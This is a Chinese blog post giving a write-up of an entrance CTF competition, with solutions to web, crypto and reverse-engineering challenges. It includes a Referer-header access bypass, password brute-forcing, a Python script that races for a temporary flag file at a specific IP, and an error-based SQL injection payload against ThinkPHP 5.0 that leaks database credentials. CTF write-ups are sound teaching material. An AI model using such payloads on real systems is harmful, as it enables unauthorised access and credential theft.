Fidcer'Blog

豌豆杯入学ctf

字数统计: 810阅读时长: 3 min
2019/10/16 Share
web题

1.题目:小可爱
第一步肯定是绕过本地回环地址
CC25B038-F2D2-4F85-93F7-F51924B8DAB8.png
一开始想到的是x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过
BC410D27-3BE1-40E5-ABF5-777F7144F502.png
AEA1A04B-27BA-4393-953B-75D948C95027.png
这里没啥思路只能爆破
B9E617B3-EF26-477B-B78C-534C490FB3C4.png
密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!!
122FC809-D249-4228-9EB5-1E7F101BB7C1.png
ADBC80E5-9B6D-4483-B1D4-286FE4B9E3F2.png
将图片下载下来,用binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码
70BBCD6F-2D2E-4D93-8F11-80D576A5CB54.png
DABA844F-3716-4889-96CA-04A7E6137C96.png
这个地方解了很久发现使用Dilraba的md5。。。。
F0312D7E-FC35-4DE9-86AF-D5A0F5796C97.png
得到一张图片再一次foremost得到一个压缩包成功拿到flag
C065BA1C-B8B1-4157-9E8A-D6BD23ED6440.png
2.题目:单身二十年
EA018BA0-F2BB-4204-9784-8E3585F3511B.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 

header("Content-type:text/html;charset=utf-8");
show_source(__FILE__);
if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){
$file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt';
file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php'));
sleep(10);
unlink($file);
}else{
header('Location: index.php');
}

setcookie("token");

?>

看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。
一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。
9BB9177B-2227-4784-A0BB-B029ED948AF3.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
import hashlib
import requests
for i in range(1,101):
headers = {'Content-type':'text/html;charset=utf-8'}
encodestr = base64.b64encode(str(i).encode('utf-8'))
cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'}
#print(encodestr)
m = hashlib.md5()
m.update(encodestr)
#print(m.hexdigest())
a = m.hexdigest()
url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt'
#print(url)
url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2)
#print(url_get.headers)
#print(url_get.cookies)
if url_get.status_code == 200:
print(url_get.text)

3.题目:初心不改
1975DE5B-D07B-4569-B8D0-E7171F2A034C.png
访问页面发现是一个thinkphp5.0 一猜就是sql注入
一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
BA7D4195-9527-4B06-A1D8-28ABF453FE46.png
主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag
73F165EC-C956-40AD-9106-ADE323691340.png

web题我是全部AK掉了有些题目是通过exp直接拿到flag太简单了就不讲了。
ADE2EF99-DEF7-46F4-AA7D-066EC4402E12.png
Crypto题


1.题目:震惊,凯撒竟被4人关在一密室

1
2
凯撒被4个人关在一个密室里!
aCU3QjkxMjkxMTA3bjVnMTZoNjNjJTdEY2cwNDBoM2g4aTRlMDc3ZmYz

先是base64
9B275494-53D5-4527-8A72-F5844E6A5CD8.png
然后url编码
647F179F-6624-426A-924B-3538D10E806A.png
栅栏编码四组
9D959343-EA85-4A6D-85A4-7D017E27DDE7.png
凯撒拿到flag
9192AE6D-3539-4AC4-83FD-97E3D50A533A.png

2.题目:粗心大意的主管
已知密文为:925♥♥♥A2D74♥♥DDE4♥EBC0♥♥♥1D0E♥♥7
原文为:8E5♥♥C14DCD♥CDE8♥♥55F3738♥11DE7A。
写个python就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-
import string
import hashlib
payloads = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

for a in payloads:
for b in payloads:
for c in payloads:
for d in payloads:
for e in payloads:
for f in payloads:
s = "8E5"+a+d+"C14DCD"+b+"CDE8"+e+c+"55F3738"+f+"11DE7A"
tmp = hashlib.md5(s).hexdigest().upper()
if '925' in tmp and 'A2D74' in tmp and 'DDE4' in tmp and 'EBC0' in tmp:
print(s)
print(tmp)

3.题目:畸形的凯撒
密文:afZ_rCI[kA55#;ASc9*%$c

1
2
3
4
5
6
7
8
char="afZ_rCI[kA55#;ASc9*%$c"
i = 0
flag = ""
while i < len(char):
num = ord(char[i])+(i+5)
flag+=chr(num)
i+=1
print(flag)

REVERSE

1.题目:机密文件
用NET.Reflector Pro工具打开文件
6B517F8B-57C6-43CC-AD32-AF739244D967.png
看到源代码
发现是aes加密使用openssl解密或者用c#再写一个解密的
password也在里面
27E2F10D-6444-4F29-A275-9BBA743B8386.png
593D7C75-0E7F-4421-A4C7-A572F8ED6572.png

1
openssl aes-128-cbc -nosalt -d -in secret.636748579460890458.bin -iv 6b6a704853325367344c716637754e65 -K 6b6a704853325367344c716637754e65 -p

原文作者:Fidcer

原文链接:https://vuln.top/2019/10/16/137/

发表日期:October 16th 2019, 8:19:46 pm

更新日期:October 16th 2019, 8:19:46 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. REVERSE